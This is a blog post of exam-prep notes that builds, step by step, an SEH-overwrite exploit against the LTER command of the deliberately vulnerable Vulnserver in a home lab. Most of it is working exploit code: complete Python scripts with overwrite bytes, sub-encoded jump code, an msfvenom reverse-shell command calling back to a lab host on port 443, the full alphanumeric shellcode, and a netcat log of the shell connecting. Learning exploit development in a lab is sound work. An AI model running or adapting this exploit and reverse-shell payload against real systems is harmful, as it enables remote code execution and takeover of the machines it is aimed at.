CTP/OSCE Prep -- 'LTER' SEH Overwrite v2.0!
Introduction
This series of posts will focus on the concepts I’m learning/practicing in preparation for CTP/OSCE. In this series of posts, I plan on exploring:
- fuzzing,
- vanilla EIP overwrite,
- SEH overwrite, and
- egghunters.
Writing these entries will force me to become intimately familiar with these topics, and hopefully you can get something out of them as well!
In this particular post we’ll be using the skills we picked up last post to find our own way to exploit the ‘LTER’ command with an SEH overwrite.
If you have not already done so, please read some of the posts in the ‘CTP/OSCE Prep’ series as this post will be light on review!
Background
WARNING: In this post I do a bunch of really dumb stuff and ruin my stack alignment multiple times but somehow the exploit still works, maybe don’t try to recreate this exact exploit but just use it as a reference for some of the techniques discussed. What I’m saying is, I got plain lucky doing this and it won’t work for you most likely. Cheers!
This will be our third go at the ‘LTER’ command on Vulnserver.
- The first time, I failed miserably to use the SEH overwrite, but I ended up discovering an EIP overwrite vulnerability with a smaller fuzzing payload.
- The second time, I used @doylersec’s approach to the SEH overwrite and worked through the exploit step-by-step for hours and was finally able to complete my own exploit modeled off of Doyler’s.
Armed with the ability to use alphanumeric shellcode and a better understanding than the first time around, let’s try to come up with our own unique take on the exploit and try to come up with something that’s original to us.
Getting Started
We will pick up after taking the jump code in our ‘next SEH address’ 4 byte space to jump into our D
buffer. At the moment, our exploit code looks like this:
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.201"
port = 9999
nSeh = '\x74\x06\x75\x04'
Seh = '\x2b\x17\x50\x62'
buffer += 'A' * 3514
buffer += nSeh
buffer += Seh
buffer += 'D' * (4000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()
From D
Buffer to Top of A
Buffer
Once we use our netjump in the nSeh
, we land at the top of our D
buffer in the address space 0174FFCC
. (Don’t get too hung up on specific addresses as those will change from application instance to application instance, instead focus on the offsets or distances between two addresses. That number should remain static.)
If we scroll down in the CPU Instructions pane to the bottom, you can see that the last 44
instruction is sitting at 0174FFFF
.
To figure out the distance between those two points we do: (0174FFFF
- 0174FFCC
= 33
or 51 in decimal). So we have some room to play with. Previously I tried to make use of this space to jump all the way back to the top of our A
buffer and put shellcode there but I couldn’t make it work because I didn’t quite have a good handle on the SUB
or ADD
encoding you have to do with the shellcode to make it alphanumeric.
Let’s see what we can do now that we understand it a little bit better.
Adjusting ESP
As we know, the first thing we have to do before putting our encoded shellcode on the stack is adjust ESP
. As you can see from our screenshot, ESP
is residing at 0174ECA4
and we want to put it at the bottom of our D
buffer since our decoded shellcode will be plopped ‘ontop’ of it as it’s decoded. To figure out how much we have adjust ESP
we do (0174FFFF
- 0174ECA4
= 135B
or 4,955 in decimal). So we have to add quite a bit!
To do this, let’s:
- put the current value of
ESP
intoEAX
, - add
0x135B
fromEAX
, - put the value of
EAX
back intoESP
.
In assembly this will look like this:
push esp
pop eax
add ax, 0x135b
push eax
pop esp
To get the opcodes, we’ll use /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
:
nasm > push esp
00000000 54 push esp
nasm > pop eax
00000000 58 pop eax
nasm > add ax, 0x135b
00000000 66055B13 add ax,0x135b
nasm > push eax
00000000 50 push eax
nasm > pop esp
00000000 5C pop esp
Now let’s update our exploit to reflect this new espAdj
and test it:
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.201"
port = 9999
nSeh = '\x74\x06\x75\x04'
Seh = '\x2b\x17\x50\x62'
espAdj = '\x54\x58\x66\x05\x5b\x13\x50\x5c'
#push esp
#pop eax
#add ax, 0x135b
#push eax
#pop esp
buffer = 'A' * 3514
buffer += nSeh
buffer += Seh
buffer += espAdj
buffer += 'D' * (4000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()
As you can see, ESP
now points to the bottom of our D
buffer just as we wanted after we step through all of the espAdj
code. So far so good.
Encoding a Long Jump Backwards
Next, we need to encode a long jump all the way back to the top of our A
buffer. To do this, we will:
- take a register (
EAX
), manipulate it so that it points towards the address at the top of ourA
buffer, - put that value into another register to save it (
EBX
) since we’ll destroy the value inEAX
with the encoding process, - and then finally
CALL EBX
which should jump us all the way back to the top of ourA
buffer.
Let’s take care of this before we start any encoding.
EAX
is currently pointing at 0190FFFF
and we need it to point to the top of our A
buffer at 0190F20A
. So we do (0190FFFF
- 0190F20A
= DF5
or 3,573 in decimal.) The reason I personally keep track of decimal values is because I’m good with regular math but not hex in general. So having a decimal value to reference keeps me grounded in Human Land.
We normally would do a sub ax, 0xdf5
and call it a day but unfortunately, this will end up as \x66\x2d\xf5\0d
in our payload and \xf5
is a bad character.
So let’s break this subtraction operation up into two chunks that avoids bad chars. Probably multiple ways to do this but I just broke this df5
value into two chunks 0d
and f5
and started calculating subtractions by hand.
0d
is already fine with us, so we don’t need to mess with it much.
Let’s divide f5
by two and see what we get. The Windows calc says the answer is 7a
but if we multiply 7a
by two, we get f4
!! The calculator lied to us! In reality, when we divided f5
by two, there was a remainder of 1. So something simple like that can ruin our math. So now we know that 7a
+ 7b
= f5
and both of those bytes are not restricted! So we know we need to do two sub instructions to get f5
total:
- Sub Operation 1 = subtract
7a
- Sub Operation 2 = subtract
7b
.
Perfect. But since we have to use a couple SUB
operations, we have to come up with a way to subtract from our 0d
value that was already ok and not restricted. We don’t want to put any instructions in that are 00
since that’s a null byte. We can simply subtract 01
the first sub operation and the leftover amount c7
in the second operation. No division required to figure that out.
- Sub Operation 1 = subtract
01
- Sub Operation 2 = subtract
0c
.
So all together our commands will look like:
sub ax, 0x017a
sub ax, 0x0c7b
This is the exact same thing as sub ax, 0xdf5
except we don’t use a restricted character, pretty cool!
nasm > sub ax, 0x17a
00000000 662D7A01 sub ax,0x17a
nasm > sub ax, 0xc7b
00000000 662D7B0C sub ax,0xc7b
Let’s add the value \x66\x2d\x7a\x01\x66\x2d\x7b\x0c
to a new variable eaxAdj
and update our exploit code:
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.201"
port = 9999
nSeh = '\x74\x06\x75\x04'
Seh = '\x2b\x17\x50\x62'
espAdj = '\x54\x58\x66\x05\x5b\x13\x50\x5c'
#push esp
#pop eax
#add ax, 0x135b
#push eax
#pop esp
eaxAdj = '\x66\x2d\x7a\x01\x66\x2d\x7b\x0c'
#sub ax, 0x017a
#sub ax, 0x0c7b
#points EAX towards beginning of our A buffer which is 0xdf5 away
buffer = 'A' * 3514
buffer += nSeh
buffer += Seh
buffer += espAdj
buffer += eaxAdj
buffer += 'D' * (4000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()
Testing it:
Our math was correct and EAX
now points to the top of our A
buffer at 17EF20A
.
Now we need to place this value into EBX
and jump to it. Unfortunately, the opcode required to jump to EBX
is restricted to us so we have to encode this bit. Let’s go to our nasm shell to figure out what the raw opcodes would be.
nasm > push eax
00000000 50 push eax
nasm > pop ebx
00000000 5B pop ebx
nasm > call ebx
00000000 FFD3 call ebx
Looks like our code will be: \x50\x5b\xff\xd3
. We know \x50
and \x5b
are fine to use so we can place those in our exploit code already. We’ll call this variable switch
.
If you remember how the encoding process works, we need EAX
to be set equal to our opcode instructions and then pushed onto the stack to get decoded. How do we get our current EAX
register to equal \xff\xd3
? First we need to zero the register out. In the previous post we learned that the following two AND
instructions will zero EAX
out every time:
- and eax,0x554e4d4a;
- and eax,0x2a313235
Getting the opcodes:
nasm > and eax,0x554e4d4a
00000000 254A4D4E55 and eax,0x554e4d4a
nasm > and eax,0x2a313235
00000000 253532312A and eax,0x2a313235
So our zeroing out code is going to be: \x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A
. We can add this value to a variable called zeroOut
.
Now all that’s left is to encode \xff\xd3
. I used an awesome tool called Z3ncoder which does sub encoding.
Installation spelled out in the readme:
git clone https://github.com/marcosValle/z3ncoder
cd z3ncoder
pip install z3-solver
python3 solve.py
There was some python vs. python3 package confusion after this so I just did pip install z3-solver
and used python 2.7.
We need to remember that the code is read in the debugger display from right to left and we also have to pad our two bytes with two bytes of NOPs since we have to have a multiple of four. Luckily we spent 16 hours yesterday figuring out how this works! :)
So given the reverse order requirement, and the 4 byte requirement, we need to encode 9090D3FF
.
Let’s use Z3ncoder.
Solving for 0x9090d3ff
0xFFFFFFFF - 0x9090d3ff + 1 = 0x6f6f2c01
###########
0x217a3e2d
0x2b7a6e58
0x227a7f7c
###########
Check sum = 0x6f6f2c01
Opcodes:
nasm > sub eax, 0x217a3e2d
00000000 2D2D3E7A21 sub eax,0x217a3e2d
nasm > sub eax, 0x2b7a6e58
00000000 2D586E7A2B sub eax,0x2b7a6e58
nasm > sub eax, 0x227a7f7c
00000000 2D7C7F7A22 sub eax,0x227a7f7c
So our encoded shellcode will be: \x2D\x2D\x3E\x7A\x21\x2D\x58\x6E\x7A\x2B\x2D\x7C\x7F\x7A\x22
. This will put the value 9090D3FF
into EAX
once it’s decoded. We’ll call this variable subEncode
.
The last opcode we need to add is push eax
which will actually decode the shellcode by placing the value held by EAX
‘ontop’ of our adjusted ESP
. That opcode is simply \x50
. We’ll call this variable pushEax
.
Our exploit code now looks like this:
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.201"
port = 9999
nSeh = '\x74\x06\x75\x04'
Seh = '\x2b\x17\x50\x62'
espAdj = '\x54\x58\x66\x05\x5b\x13\x50\x5c'
#push esp
#pop eax
#add ax, 0x135b
#push eax
#pop esp
eaxAdj = '\x66\x2d\x7a\x01\x66\x2d\x7b\x0c'
#sub ax, 0x017a
#sub ax, 0x0c7b
#points EAX towards beginning of our A buffer which is 0xdf5 away
switch = '\x50\x5b' # puts EAX into EBX, EBX now points to beginning of A buffer. We need to jump there.
zeroOut = '\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A' #and eax,0x554e4d4a; and eax,0x2a313235
subEncode= '\x2D\x2D\x3E\x7A\x21\x2D\x58\x6E\x7A\x2B\x2D\x7C\x7F\x7A\x22'
#sub eax, 0x217a3e2d
#sub eax, 0x2b7a6e58
#sub eax, 0x227a7f7c
pushEax = '\x50'
buffer = 'A' * 3514
buffer += nSeh
buffer += Seh
buffer += espAdj
buffer += eaxAdj
buffer += switch
buffer += zeroOut
buffer += subEncode
buffer += pushEax
buffer += 'D' * (4000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()
If this works correctly, a red jump instruction to EBX
at the top of our A
buffer should pop onto our stack and we should pass control to it and jump.
BEFORE DECODING
AFTER DECODING
It works perfectly and we can now jump to the top of our buffer!
Final Countdown
Now all we have to do is put our msfvenom
payload at the top of our A
buffer and run it. Unfortunately as I mentioned in the previous post, and as Offensive Security explains here, even with the -e x86/alpha_mixed
option, msfvenom
will prepend \x89\xe2\xdb\xdb\xd9\x72
to our payload which is NOT alphanumeric. The purpose of these opcodes is so the payload can determine where it is located in absolute memory, a work around is to use the BufferRegister=REG32
option and specify a register that’s pointed at our shellcode.
EBX
is pointed right at the beginning of our A
buffer (we should know, we just called it and landed here). Unfortunately using BufferRegister=EBX
does not get us a reverse shell for some reason. @ihack4falafel was nice enough to share with me that it could be due to some stack corruption related to the proximity of ESP
and EIP
. I don’t quite understand yet why it doesn’t work.
So instead, I simply put in some Assembly here that ended up being 6 bytes long and used those 6 bytes to point ESP
at EBX + 6
which would have ESP
pointing directly at our shellcode and we could try the BufferRegister=ESP
option and see if that works.
The Assembly is:
push ebx
pop eax
add al, 0x6
push eax
pop esp
Opcodes:
nasm > push ebx
00000000 53 push ebx
nasm > pop eax
00000000 58 pop eax
nasm > add al, 0x6
00000000 0406 add al,0x6
nasm > push eax
00000000 50 push eax
nasm > pop esp
00000000 5C pop esp
So our last espFinal
variable will hold the value: \x53\x58\x04\x06\x50\x5c
And then we place our shellcode behind this. I generated the shellcode with the command msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.1.206 LPORT=443 -f c -b '\x00' -e x86/alpha_mixed BufferRegister=ESP
and updated our FINAL exploit code.
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.201"
port = 9999
nSeh = '\x74\x06\x75\x04'
Seh = '\x2b\x17\x50\x62'
espAdj = '\x54\x58\x66\x05\x5b\x13\x50\x5c'
#push esp
#pop eax
#add ax, 0x135b
#push eax
#pop esp
eaxAdj = '\x66\x2d\x7a\x01\x66\x2d\x7b\x0c'
#sub ax, 0x017a
#sub ax, 0x0c7b
#points EAX towards beginning of our A buffer which is 0xdf5 away
switch = '\x50\x5b' # puts EAX into EBX, EBX now points to beginning of A buffer. We need to jump there.
zeroOut = '\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A' #and eax,0x554e4d4a; and eax,0x2a313235
subEncode= '\x2D\x2D\x3E\x7A\x21\x2D\x58\x6E\x7A\x2B\x2D\x7C\x7F\x7A\x22'
#sub eax, 0x217a3e2d
#sub eax, 0x2b7a6e58
#sub eax, 0x227a7f7c
pushEax = '\x50'
espFinal = '\x53\x58\x04\x06\x50\x5c'
#push ebx
#pop eax
#add al, 0x6
#push eax
#pop esp
#msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.1.206 LPORT=443 -f c -b '\x00' -e x86/alpha_mixed BufferRegister=ESP
#Payload size: 702 bytes
shellcode = ("\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x79\x6c\x6d\x38\x6d\x52\x37\x70"
"\x75\x50\x67\x70\x61\x70\x4e\x69\x38\x65\x34\x71\x6b\x70\x75"
"\x34\x4c\x4b\x50\x50\x36\x50\x6c\x4b\x63\x62\x54\x4c\x6e\x6b"
"\x63\x62\x77\x64\x6c\x4b\x74\x32\x74\x68\x54\x4f\x4f\x47\x30"
"\x4a\x77\x56\x74\x71\x79\x6f\x4e\x4c\x37\x4c\x31\x71\x53\x4c"
"\x55\x52\x46\x4c\x71\x30\x5a\x61\x58\x4f\x76\x6d\x77\x71\x49"
"\x57\x6d\x32\x6a\x52\x42\x72\x76\x37\x4e\x6b\x61\x42\x76\x70"
"\x4c\x4b\x70\x4a\x77\x4c\x6e\x6b\x62\x6c\x57\x61\x42\x58\x5a"
"\x43\x57\x38\x57\x71\x4a\x71\x53\x61\x4c\x4b\x30\x59\x75\x70"
"\x57\x71\x6b\x63\x6c\x4b\x70\x49\x42\x38\x4d\x33\x67\x4a\x70"
"\x49\x6e\x6b\x64\x74\x6c\x4b\x36\x61\x79\x46\x44\x71\x79\x6f"
"\x6e\x4c\x6b\x71\x58\x4f\x36\x6d\x73\x31\x4a\x67\x57\x48\x49"
"\x70\x44\x35\x7a\x56\x76\x63\x33\x4d\x6b\x48\x37\x4b\x63\x4d"
"\x64\x64\x52\x55\x4a\x44\x73\x68\x6c\x4b\x66\x38\x65\x74\x55"
"\x51\x78\x53\x63\x56\x4c\x4b\x54\x4c\x70\x4b\x4c\x4b\x66\x38"
"\x57\x6c\x67\x71\x69\x43\x6e\x6b\x57\x74\x6e\x6b\x53\x31\x6e"
"\x30\x4b\x39\x71\x54\x47\x54\x31\x34\x31\x4b\x51\x4b\x51\x71"
"\x53\x69\x33\x6a\x73\x61\x39\x6f\x79\x70\x71\x4f\x31\x4f\x42"
"\x7a\x4e\x6b\x55\x42\x38\x6b\x6e\x6d\x63\x6d\x55\x38\x30\x33"
"\x47\x42\x35\x50\x47\x70\x63\x58\x51\x67\x51\x63\x77\x42\x33"
"\x6f\x42\x74\x30\x68\x70\x4c\x70\x77\x65\x76\x75\x57\x39\x6f"
"\x4e\x35\x4d\x68\x4c\x50\x46\x61\x77\x70\x73\x30\x37\x59\x4a"
"\x64\x46\x34\x66\x30\x30\x68\x35\x79\x4b\x30\x52\x4b\x45\x50"
"\x69\x6f\x4e\x35\x52\x70\x52\x70\x62\x70\x32\x70\x47\x30\x66"
"\x30\x57\x30\x72\x70\x43\x58\x69\x7a\x66\x6f\x79\x4f\x4b\x50"
"\x69\x6f\x38\x55\x5a\x37\x72\x4a\x34\x45\x30\x68\x6b\x70\x4d"
"\x78\x77\x71\x58\x4e\x30\x68\x57\x72\x67\x70\x47\x71\x4f\x4b"
"\x4d\x59\x5a\x46\x61\x7a\x32\x30\x73\x66\x76\x37\x65\x38\x4f"
"\x69\x6c\x65\x61\x64\x70\x61\x6b\x4f\x59\x45\x6b\x35\x6f\x30"
"\x72\x54\x36\x6c\x69\x6f\x52\x6e\x55\x58\x30\x75\x58\x6c\x73"
"\x58\x6a\x50\x6e\x55\x6e\x42\x72\x76\x69\x6f\x4a\x75\x32\x48"
"\x35\x33\x30\x6d\x63\x54\x65\x50\x6d\x59\x49\x73\x36\x37\x66"
"\x37\x72\x77\x50\x31\x49\x66\x70\x6a\x66\x72\x43\x69\x51\x46"
"\x4b\x52\x39\x6d\x73\x56\x79\x57\x72\x64\x64\x64\x37\x4c\x56"
"\x61\x53\x31\x4c\x4d\x73\x74\x31\x34\x74\x50\x69\x56\x55\x50"
"\x61\x54\x61\x44\x42\x70\x76\x36\x42\x76\x70\x56\x37\x36\x50"
"\x56\x32\x6e\x52\x76\x61\x46\x71\x43\x33\x66\x53\x58\x52\x59"
"\x68\x4c\x55\x6f\x6d\x56\x59\x6f\x68\x55\x6e\x69\x69\x70\x42"
"\x6e\x30\x56\x33\x76\x69\x6f\x36\x50\x42\x48\x75\x58\x6f\x77"
"\x57\x6d\x43\x50\x49\x6f\x58\x55\x6f\x4b\x39\x70\x37\x6d\x57"
"\x5a\x35\x5a\x31\x78\x49\x36\x4d\x45\x4f\x4d\x6d\x4d\x79\x6f"
"\x7a\x75\x65\x6c\x37\x76\x31\x6c\x44\x4a\x6f\x70\x59\x6b\x4d"
"\x30\x71\x65\x65\x55\x6d\x6b\x67\x37\x74\x53\x30\x72\x30\x6f"
"\x61\x7a\x77\x70\x61\x43\x6b\x4f\x6b\x65\x41\x41")
buffer = espFinal
buffer += shellcode
buffer += 'A' * (3514 - len(espFinal) - len(shellcode))
buffer += nSeh
buffer += Seh
buffer += espAdj
buffer += eaxAdj
buffer += switch
buffer += zeroOut
buffer += subEncode
buffer += pushEax
buffer += 'D' * (4000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()
The last check is we’ll step through everything one last time to make sure that ESP
is pointed right at the start of our shellcode before the first instruction of the shellcode executes.
It’s aligned perfectly and we catch a reverse shell!
astrid:~/ # nc -lvp 443 [20:11:10]
listening on [any] 443 ...
192.168.1.201: inverse host lookup failed: Unknown host
connect to [192.168.1.206] from (UNKNOWN) [192.168.1.201] 49262
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Desktop>
Conclusion
Lots of sleep lost on this ‘LTER’ command but I think it was all worth it. As with anything you’re new to it takes a lot of time investment to get any better. Once again huge thanks to @doylersec for all of his help and to @ihack4falafel for his help as well.
It was extremely gratifying to pull off my own version of the exploit using the technique I spent all day learning. Thanks for reading!
Big Thanks
To everyone who has published free intro-level 32 bit exploit dev material, I’m super appreciative. Truly mean it.